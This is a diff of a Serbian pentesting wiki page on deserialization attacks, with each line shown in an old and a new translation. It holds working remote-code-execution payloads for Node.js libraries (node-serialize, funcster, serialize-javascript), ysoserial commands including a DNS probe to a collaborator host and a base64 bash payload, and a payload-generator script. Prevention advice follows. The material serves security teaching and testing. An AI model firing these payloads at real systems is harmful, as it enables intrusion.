var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}'; var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test); serialize.unserialize(test);
``` ```
Možete [**ovde pronaći**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **dodatne informacije** o tome kako iskoristiti ovu ranjivost. Možete [**pronaći ovde**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **dodatne informacije** o tome kako iskoristiti ovu ranjivost.
### [funcster](https://www.npmjs.com/package/funcster) ### [funcster](https://www.npmjs.com/package/funcster)
Značajna karakteristika **funcstera** je nedostupnost **standardnih ugrađenih objekata**; oni padaju van dostupnog opsega. Ovo ograničenje sprečava izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka poput `"ReferenceError: console is not defined"` kada se koriste komande poput `console.log()` ili `require(something)`. Značajan aspekt **funcster** je nedostupnost **standardnih ugrađenih objekata**; oni su van dostupnog opsega. Ova ograničenja sprečavaju izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka kao što su `"ReferenceError: console is not defined"` kada se koriste komande poput `console.log()` ili `require(something)`.
Ipak, uprkos ovom ograničenju, moguće je obnoviti pun pristup globalnom kontekstu, uključujući sve standardne ugrađene objekte, kroz određeni pristup. Iskorišćavanjem globalnog konteksta direktno, moguće je zaobići ovo ograničenje. Na primer, pristup može biti ponovo uspostavljen korišćenjem sledećeg isečka koda: Uprkos ovom ograničenju, obnova potpunog pristupa globalnom kontekstu, uključujući sve standardne ugrađene objekte, moguća je kroz specifičan pristup. Korišćenjem globalnog konteksta direktno, može se zaobići ovo ograničenje. Na primer, pristup se može ponovo uspostaviti koristeći sledeći isječak:
```javascript ```javascript
funcster = require("funcster"); funcster = require("funcster");
//Serialization //Serialization
@ -274,11 +275,11 @@ funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' } var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3) funcster.deepDeserialize(desertest3)
``` ```
**Za** [**više informacija pročitajte ovaj izvor**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** **Za**[ **više informacija pročitajte ovaj izvor**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
Paket **serialize-javascript** je dizajniran isključivo za potrebe serializacije, bez ugrađenih mogućnosti za deserializaciju. Korisnici su odgovorni za implementaciju sopstvene metode za deserializaciju. Direktna upotreba `eval`-a je predložena u zvaničnom primeru za deserializaciju serializovanih podataka: Paket **serialize-javascript** je dizajniran isključivo za svrhe serijalizacije, bez ugrađenih mogućnosti deserializacije. Korisnici su odgovorni za implementaciju svoje metode za deserializaciju. Direktna upotreba `eval` se sugeriše u zvaničnom primeru za deserializaciju serijalizovanih podataka:
```javascript ```javascript
function deserialize(serializedJavascript){ function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')'); return eval('(' + serializedJavascript + ')');
@ -295,90 +296,90 @@ console.log(test) //function() { return "Hello world!" }
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test) deserialize(test)
``` ```
**Za** [**više informacija pročitajte ovaj izvor**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** **Za**[ **više informacija pročitajte ovaj izvor**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Cryo biblioteka ### Cryo biblioteka
Na sledećim stranicama možete pronaći informacije o tome kako zloupotrebiti ovu biblioteku da biste izvršili proizvoljne komande: Na sledećim stranicama možete pronaći informacije o tome kako zloupotrebiti ovu biblioteku za izvršavanje proizvoljnih komandi:
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) * [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) * [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
## Java - HTTP ## Java - HTTP
U Javi, **callback-ovi za deserializaciju se izvršavaju tokom procesa deserializacije**. Ovu izvršnu moć mogu iskoristiti napadači koji kreiraju zlonamerne sadržaje koji pokreću ove callback-ove, što može dovesti do potencijalnog izvršenja štetnih akcija. U Javi, **deserializacijski povratni pozivi se izvršavaju tokom procesa deserializacije**. Ova izvršenja mogu biti iskorišćena od strane napadača koji kreiraju zlonamerne terete koji aktiviraju ove povratne pozive, što može dovesti do potencijalnog izvršenja štetnih radnji.
### Otisci prstiju ### Otisci
#### White Box #### Bela kutija
Da biste identifikovali potencijalne ranjivosti serijalizacije u kodnoj bazi, potražite: Da biste identifikovali potencijalne ranjivosti serijalizacije u kodu, potražite:
* Klase koje implementiraju interfejs `Serializable`. * Klase koje implementiraju `Serializable` interfejs.
* Korišćenje funkcija `java.io.ObjectInputStream`, `readObject`, `readUnshare`. * Korišćenje `java.io.ObjectInputStream`, `readObject`, `readUnshare` funkcija.
Posebno obratite pažnju na: Obratite posebnu pažnju na:
* `XMLDecoder` korišćen sa parametrima definisanim od strane eksternih korisnika. * `XMLDecoder` korišćen sa parametrima koje definišu spoljnji korisnici.
* `XStream`-ovu metodu `fromXML`, posebno ako je verzija XStream-a manja ili jednaka 1.46, jer je podložna problemima sa serijalizacijom. * `XStream`'s `fromXML` metoda, posebno ako je verzija XStream manja ili jednaka 1.46, jer je podložna problemima sa serijalizacijom.
* `ObjectInputStream` uparen sa metodom `readObject`. * `ObjectInputStream` u kombinaciji sa `readObject` metodom.
* Implementacija metoda poput `readObject`, `readObjectNodData`, `readResolve` ili `readExternal`. * Implementaciju metoda kao što su `readObject`, `readObjectNodData`, `readResolve`, ili `readExternal`.
* `ObjectInputStream.readUnshared`. * `ObjectInputStream.readUnshared`.
* Opšta upotreba `Serializable`. * Opštu upotrebu `Serializable`.
#### Black Box #### Crna kutija
Za testiranje crne kutije, potražite specifične **potpise ili "Magic Bytes"** koji označavaju java serijalizovane objekte (potičući od `ObjectInputStream`): Za testiranje crne kutije, potražite specifične **potpise ili "Magic Bytes"** koji označavaju java serijalizovane objekte (proizlazeći iz `ObjectInputStream`):
* Heksadecimalni obrazac: `AC ED 00 05`. * Hexadecimalni obrazac: `AC ED 00 05`.
* Base64 obrazac: `rO0`. * Base64 obrazac: `rO0`.
* HTTP odgovori sa zaglavljima `Content-type` postavljenim na `application/x-java-serialized-object`. * HTTP odgovarajući zaglavlja sa `Content-type` postavljenim na `application/x-java-serialized-object`.
* Heksadecimalni obrazac koji ukazuje na prethodnu kompresiju: `1F 8B 08 00`. * Hexadecimalni obrazac koji označava prethodnu kompresiju: `1F 8B 08 00`.
* Base64 obrazac koji ukazuje na prethodnu kompresiju: `H4sIA`. * Base64 obrazac koji označava prethodnu kompresiju: `H4sIA`.
* Veb fajlovi sa ekstenzijom `.faces` i parametrom `faces.ViewState`. Otkrivanje ovih obrazaca u veb aplikaciji trebalo bi da podstakne ispitivanje kako je detaljno opisano u [postu o Java JSF ViewState Deserializaciji](java-jsf-viewstate-.faces-deserialization.md). * Web datoteke sa ekstenzijom `.faces` i parametrom `faces.ViewState`. Otkriće ovih obrazaca u web aplikaciji treba da izazove ispitivanje kao što je detaljno opisano u [postu o Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
``` ```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
``` ```
### Provera ranjivosti ### Proverite da li je ranjiv
Ako želite da saznate **kako funkcioniše Java Deserialized eksploatacija**, trebalo bi da pogledate [**Osnovnu Java Deserializaciju**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserializaciju**](java-dns-deserialization-and-gadgetprobe.md) i [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). Ako želite da **naučite kako funkcioniše Java Deserialized exploit** trebali biste pogledati [**Osnovna Java Deserializacija**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserializacija**](java-dns-deserialization-and-gadgetprobe.md), i [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
#### Testiranje belom kutijom #### White Box Test
Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima. Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.
```bash ```bash
find . -iname "*commons*collection*" find . -iname "*commons*collection*"
grep -R InvokeTransformer . grep -R InvokeTransformer .
``` ```
Možete pokušati **proveriti sve biblioteke** za koje je poznato da su ranjive i za koje [**Ysoserial**](https://github.com/frohoff/ysoserial) može pružiti eksploataciju. Ili možete proveriti biblioteke navedene na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ Možete pokušati da **proverite sve biblioteke** za koje je poznato da su ranjive i za koje [**Ysoserial**](https://github.com/frohoff/ysoserial) može da pruži eksploataciju. Ili možete proveriti biblioteke navedene na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Takođe možete koristiti [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) da pretražite moguće lance gedžeta koji mogu biti iskorišćeni.\ Takođe možete koristiti [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) da tražite moguće lance gadgeta koji se mogu iskoristiti.\
Kada pokrenete **gadgetinspector** (nakon što ga izgradite), ne brinite o gomili upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Sve rezultate će zapisati pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Molimo vas, imajte na umu da **gadgetinspector neće kreirati eksploataciju i može ukazati na lažne pozitivne rezultate**. Kada pokrećete **gadgetinspector** (nakon što ga izgradite) ne obraćajte pažnju na mnoštvo upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Zapišaće sve nalaze pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Molimo vas, primetite da **gadgetinspector neće kreirati eksploataciju i može ukazivati na lažne pozitivne rezultate**.
#### Test Crne Kutije #### Black Box Test
Korišćenjem Burp ekstenzije [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) možete identifikovati **koje biblioteke su dostupne** (čak i verzije). Sa ovim informacijama bi moglo biti **jednostavnije izabrati payload** za iskorišćavanje ranjivosti.\ Koristeći Burp ekstenziju [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) možete identifikovati **koje biblioteke su dostupne** (pa čak i verzije). Sa ovom informacijom može biti **lakše odabrati payload** za eksploataciju ranjivosti.\
[**Pročitajte ovo da biste saznali više o GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ [**Pročitajte ovo da biste saznali više o GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe je fokusiran na **`ObjectInputStream` deserializacije**. GadgetProbe je fokusiran na **`ObjectInputStream` deserializacije**.
Korišćenjem Burp ekstenzije [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) možete **identifikovati ranjive biblioteke** koje se mogu iskoristiti sa ysoserial i ih **iskoristiti**.\ Koristeći Burp ekstenziju [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) možete **identifikovati ranjive biblioteke** koje se mogu eksploatisati sa ysoserial i **iskoristiti** ih.\
[**Pročitajte ovo da biste saznali više o Java Deserialization Scanner-u.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ [**Pročitajte ovo da biste saznali više o Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner je fokusiran na **`ObjectInputStream`** deserializacije. Java Deserialization Scanner je fokusiran na **`ObjectInputStream`** deserializacije.
Takođe možete koristiti [**Freddy**](https://github.com/nccgroup/freddy) da otkrijete ranjivosti u deserializaciji u **Burp**-u. Ovaj dodatak će otkriti ranjivosti koje nisu samo povezane sa **`ObjectInputStream`** već i ranjivosti iz biblioteka za deserializaciju **Json** i **Yml**. U aktivnom režimu, pokušaće da ih potvrdi korišćenjem sleep ili DNS payloada.\ Takođe možete koristiti [**Freddy**](https://github.com/nccgroup/freddy) da **otkrijete deserializacione** ranjivosti u **Burp**. Ovaj dodatak će otkriti **ne samo `ObjectInputStream`** povezane ranjivosti, već **takođe** ranjivosti iz **Json** i **Yml** deserializacionih biblioteka. U aktivnom režimu, pokušaće da ih potvrdi koristeći sleep ili DNS payloads.\
[**Više informacija o Freddy-u možete pronaći ovde.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) [**Možete pronaći više informacija o Freddyu ovde.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Testiranje Serijalizacije** **Serialization Test**
Nije sve u proveri da li server koristi ranjive biblioteke. Ponekad možete **promeniti podatke unutar serijalizovanog objekta i zaobići neke provere** (možda vam omogućiti administratorske privilegije unutar veb aplikacije).\ Nije sve u proveri da li server koristi neku ranjivu biblioteku. Ponekad biste mogli biti u mogućnosti da **promenite podatke unutar serijalizovanog objekta i zaobiđete neke provere** (možda vam dodeli administratorske privilegije unutar web aplikacije).\
Ako pronađete java serijalizovan objekat koji se šalje veb aplikaciji, možete koristiti [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **da odštampate serijalizovani objekat koji se šalje u formatu koji je čitljiviji čoveku**. Poznavanje podataka koje šaljete olakšaće vam da ih izmenite i zaobiđete neke provere. Ako pronađete java serijalizovani objekat koji se šalje u web aplikaciju, **možete koristiti** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **da odštampate u čitljivijem formatu serijalizovani objekat koji se šalje**. Znajući koje podatke šaljete, biće lakše izmeniti ih i zaobići neke provere.
### **Eksploatacija** ### **Exploit**
#### **ysoserial** #### **ysoserial**
Glavni alat za eksploataciju Java deserializacija je [**ysoserial**](https://github.com/frohoff/ysoserial) ([**preuzmite ovde**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Takođe možete razmotriti korišćenje [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) koji će vam omogućiti korišćenje kompleksnih komandi (sa cevima na primer).\ Glavni alat za eksploataciju Java deserializacija je [**ysoserial**](https://github.com/frohoff/ysoserial) ([**preuzmite ovde**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Takođe možete razmotriti korišćenje [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) koji će vam omogućiti da koristite složene komande (na primer, sa cevima).\
Imajte na umu da je ovaj alat **usmeren** na iskorišćavanje **`ObjectInputStream`**.\ Napomena: ovaj alat je **fokusiran** na eksploataciju **`ObjectInputStream`**.\
Predlažem da **počnete sa korišćenjem "URLDNS"** payloada **pre RCE** payloada da biste testirali da li je ubrizgavanje moguće. U svakom slučaju, imajte na umu da možda "URLDNS" payload ne radi, ali drugi RCE payload može. Počeo bih **koristiti "URLDNS"** payload **pre RCE** payloada da testiram da li je injekcija moguća. U svakom slučaju, imajte na umu da možda "URLDNS" payload ne radi, ali drugi RCE payload može.
```bash ```bash
# PoC to make the application perform a DNS req # PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -423,9 +424,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64 # Base64 encode payload in base64
base64 -w0 payload base64 -w0 payload
``` ```
Prilikom kreiranja payload-a za **java.lang.Runtime.exec()** **ne možete koristiti posebne karaktere** poput ">" ili "|" za preusmeravanje izlaza iz izvršenja, "$()" za izvršavanje komandi ili čak **prosleđivanje argumenata** komandi razdvojenih **razmacima** (možete uraditi `echo -n "hello world"` ali ne možete uraditi `python2 -c 'print "Hello world"'`). Da biste pravilno enkodovali payload, možete [koristiti ovu web stranicu](http://www.jackson-t.ca/runtime-exec-payloads.html). Kada kreirate payload za **java.lang.Runtime.exec()** ne **možete koristiti specijalne karaktere** kao što su ">" ili "|" za preusmeravanje izlaza izvršenja, "$()" za izvršavanje komandi ili čak **proslediti argumente** komandi odvojene **razmacima** (možete uraditi `echo -n "hello world"` ali ne možete uraditi `python2 -c 'print "Hello world"'`). Da biste ispravno kodirali payload, možete [koristiti ovu veb stranicu](http://www.jackson-t.ca/runtime-exec-payloads.html).
Slobodno koristite sledeći skript za kreiranje **svih mogućih payload-a za izvršavanje koda** za Windows i Linux, a zatim ih testirajte na ranjivoj web stranici: Slobodno koristite sledeći skript za kreiranje **svi mogućih payload-a za izvršenje koda** za Windows i Linux, a zatim ih testirajte na ranjivoj veb stranici:
```python ```python
import os import os
import base64 import base64
@ -448,12 +449,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
``` ```
#### serialkillerbypassgadgets #### serialkillerbypassgadgets
Možete **koristiti** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **zajedno sa ysoserialom da biste kreirali više eksploatacija**. Više informacija o ovom alatu možete pronaći u **slajdovima predavanja** na kojima je alat predstavljen: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1) Možete **koristiti** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **zajedno sa ysoserial da kreirate više eksploata**. Više informacija o ovom alatu u **prezentacijama** gde je alat predstavljen: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
#### marshalsec #### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec)može se koristiti za generisanje payloada za eksploataciju različitih **Json** i **Yml** biblioteka za serijalizaciju u Javi.\ [**marshalsec** ](https://github.com/mbechler/marshalsec)može se koristiti za generisanje payload-a za eksploataciju različitih **Json** i **Yml** biblioteka za serijalizaciju u Javi.\
Da biste kompajlirali projekat, morao sam **dodati** ove **zavisnosti** u `pom.xml`: Da bih kompajlirao projekat, morao sam da **dodam** ove **zavisnosti** u `pom.xml`:
```markup ```markup
<dependency> <dependency>
<groupId>javax.activation</groupId> <groupId>javax.activation</groupId>
@ -477,48 +478,48 @@ mvn clean package -DskipTests
Pročitajte više o ovoj Java JSON biblioteci: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) Pročitajte više o ovoj Java JSON biblioteci: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
### Laboratorije ### Labs
* Ako želite da testirate neke ysoserial payload-e, možete **pokrenuti ovu web aplikaciju**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) * Ako želite da testirate neke ysoserial payload-ove možete **pokrenuti ovu web aplikaciju**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) * [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
### Zašto ### Zašto
Java koristi mnogo serijalizacije u razne svrhe kao što su: Java koristi mnogo serijalizaciju za različite svrhe kao što su:
* **HTTP zahtevi**: Serijalizacija se široko koristi u upravljanju parametrima, ViewState-om, kolačićima, itd. * **HTTP zahtevi**: Serijalizacija se široko koristi u upravljanju parametrima, ViewState-om, kolačićima itd.
* **RMI (Remote Method Invocation)**: Java RMI protokol, koji se oslanja isključivo na serijalizaciju, osnova je za udaljenu komunikaciju u Java aplikacijama. * **RMI (Remote Method Invocation)**: Java RMI protokol, koji se potpuno oslanja na serijalizaciju, je kamen temeljac za daljinsku komunikaciju u Java aplikacijama.
* **RMI preko HTTP-a**: Ovaj metod se često koristi u Java baziranim debelim klijentskim web aplikacijama, koristeći serijalizaciju za sve objektne komunikacije. * **RMI preko HTTP-a**: Ova metoda se obično koristi od strane Java-baziranih debelih klijentskih web aplikacija, koristeći serijalizaciju za sve komunikacije objekata.
* **JMX (Java Management Extensions)**: JMX koristi serijalizaciju za prenos objekata preko mreže. * **JMX (Java Management Extensions)**: JMX koristi serijalizaciju za prenos objekata preko mreže.
* **Prilagođeni protokoli**: U Javi, standardna praksa uključuje prenos sirovih Java objekata, što će biti prikazano u budućim primerima eksploatacije. * **Prilagođeni protokoli**: U Javi, standardna praksa uključuje prenos sirovih Java objekata, što će biti prikazano u nadolazećim primerima eksploatacije.
### Prevencija ### Prevencija
#### Privremeni objekti #### Transijentni objekti
Klasa koja implementira `Serializable` može označiti bilo koji objekat unutar klase kao `transient` ako taj objekat ne bi trebalo da bude serijalizovan. Na primer: Klasa koja implementira `Serializable` može implementirati kao `transient` bilo koji objekat unutar klase koji ne bi trebao biti serijalizovan. Na primer:
```java ```java
public class myAccount implements Serializable public class myAccount implements Serializable
{ {
private transient double profit; // declared transient private transient double profit; // declared transient
private transient double margin; // declared transient private transient double margin; // declared transient
``` ```
#### Izbegavajte serijalizaciju klase koja mora da implementira Serializable #### Izbegavajte serijalizaciju klase koja treba da implementira Serializable
U scenarijima gde određeni **objekti moraju da implementiraju `Serializable`** interfejs zbog hijerarhije klasa, postoji rizik od nenamernog deserijalizovanja. Da biste to sprečili, obezbedite da ovi objekti nisu deserijalizovani definisanjem `final` `readObject()` metode koja dosledno baca izuzetak, kao što je prikazano u primeru ispod: U scenarijima gde određeni **objekti moraju da implementiraju `Serializable`** interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, osigurajte da ovi objekti nisu deserializovani definisanjem `final` `readObject()` metode koja dosledno baca izuzetak, kao što je prikazano u nastavku:
```java ```java
private final void readObject(ObjectInputStream in) throws java.io.IOException { private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); throw new java.io.IOException("Cannot be deserialized");
} }
``` ```
#### **Unapređenje bezbednosti deserijalizacije u Javi** #### **Poboljšanje bezbednosti deseralizacije u Javi**
Prilagođavanje `java.io.ObjectInputStream` je praktičan pristup za obezbeđivanje procesa deserijalizacije. Ova metoda je pogodna kada: **Prilagođavanje `java.io.ObjectInputStream`** je praktičan pristup za obezbeđivanje procesa deseralizacije. Ova metoda je pogodna kada:
* Kod deserijalizacije je pod vašom kontrolom. * Kod deseralizacije je pod vašom kontrolom.
* Klase očekivane za deserijalizaciju su poznate. * Klase koje se očekuju za deseralizaciju su poznate.
Prepišite **`resolveClass()`** metod kako biste ograničili deserijalizaciju samo na dozvoljene klase. Ovo sprečava deserijalizaciju bilo koje klase osim onih eksplicitno dozvoljenih, kao u sledećem primeru koji ograničava deserijalizaciju samo na klasu `Bicycle`: Override-ujte **`resolveClass()`** metodu da ograničite deseralizaciju samo na dozvoljene klase. Ovo sprečava deseralizaciju bilo koje klase osim onih koje su izričito dozvoljene, kao u sledećem primeru koji ograničava deseralizaciju samo na klasu `Bicycle`:
```java ```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream { public class LookAheadObjectInputStream extends ObjectInputStream {
@ -539,17 +540,17 @@ return super.resolveClass(desc);
} }
} }
``` ```
**Korišćenje Java agenta za unapređenje bezbednosti** pruža alternativno rešenje kada modifikacija koda nije moguća. Ovaj metod se uglavnom primenjuje za **crnu listu štetnih klasa**, korišćenjem JVM parametra: **Korišćenje Java agenta za poboljšanje bezbednosti** nudi alternativno rešenje kada modifikacija koda nije moguća. Ova metoda se primenjuje uglavnom za **stavljanje na crnu listu štetnih klasa**, koristeći JVM parametar:
``` ```
-javaagent:name-of-agent.jar -javaagent:name-of-agent.jar
``` ```
Pruža način za dinamičko obezbeđivanje deserijalizacije, idealno za okruženja u kojima su trenutne izmene koda nepraktične. Ovo pruža način za dinamičko obezbeđivanje deserializacije, idealno za okruženja gde su trenutne promene koda nepraktične.
Pogledajte primer u [rO0 od Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) Pogledajte primer u [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Implementiranje Filtera za Serijalizaciju**: Java 9 je uveo filtere za serijalizaciju putem interfejsa **`ObjectInputFilter`**, pružajući moćan mehanizam za specificiranje kriterijuma koje serijalizovani objekti moraju ispuniti pre deserijalizacije. Ovi filteri mogu biti primenjeni globalno ili po toku, nudeći granularnu kontrolu nad procesom deserijalizacije. **Implementacija filtera za serijalizaciju**: Java 9 je uvela filtere za serijalizaciju putem **`ObjectInputFilter`** interfejsa, pružajući moćan mehanizam za određivanje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deseralizovani. Ovi filteri se mogu primeniti globalno ili po toku, nudeći granularnu kontrolu nad procesom deseralizacije.
Da biste koristili filtere za serijalizaciju, možete postaviti globalni filter koji se primenjuje na sve operacije deserijalizacije ili ga konfigurisati dinamički za specifične tokove. Na primer: Da biste koristili filtere za serijalizaciju, možete postaviti globalni filter koji se primenjuje na sve operacije deseralizacije ili ga dinamički konfigurisati za specifične tokove. Na primer:
```java ```java
ObjectInputFilter filter = info -> { ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -561,37 +562,37 @@ return Status.ALLOWED;
}; };
ObjectInputFilter.Config.setSerialFilter(filter); ObjectInputFilter.Config.setSerialFilter(filter);
``` ```
**Iskorišćavanje Spoljnih Biblioteka za Unapređenu Bezbednost**: Biblioteke poput **NotSoSerial**, **jdeserialize** i **Kryo** nude napredne funkcije za kontrolisanje i nadgledanje Java deserijalizacije. Ove biblioteke mogu pružiti dodatne slojeve bezbednosti, poput bele i crne liste klasa, analize serijalizovanih objekata pre deserijalizacije i implementiranja prilagođenih strategija serijalizacije. **Korišćenje Eksternih Biblioteka za Povećanu Bezbednost**: Biblioteke kao što su **NotSoSerial**, **jdeserialize** i **Kryo** nude napredne funkcije za kontrolu i praćenje Java deserializacije. Ove biblioteke mogu pružiti dodatne slojeve bezbednosti, kao što su stavljanje na belu ili crnu listu klasa, analiziranje serijalizovanih objekata pre deserializacije i implementacija prilagođenih strategija serijalizacije.
* **NotSoSerial** presreće procese deserijalizacije kako bi sprečio izvršavanje nepoverljivog koda. * **NotSoSerial** presreće procese deserializacije kako bi sprečio izvršavanje nepouzdanog koda.
* **jdeserialize** omogućava analizu serijalizovanih Java objekata bez njihove deserijalizacije, pomažući u identifikaciji potencijalno zlonamernog sadržaja. * **jdeserialize** omogućava analizu serijalizovanih Java objekata bez njihove deserializacije, pomažući u identifikaciji potencijalno zlonamernog sadržaja.
* **Kryo** je alternativni okvir za serijalizaciju koji naglašava brzinu i efikasnost, nudeći konfigurabilne strategije serijalizacije koje mogu unaprediti bezbednost. * **Kryo** je alternativni okvir za serijalizaciju koji naglašava brzinu i efikasnost, nudeći konfigurisane strategije serijalizacije koje mogu poboljšati bezbednost.
### Reference ### Reference
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) * [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)
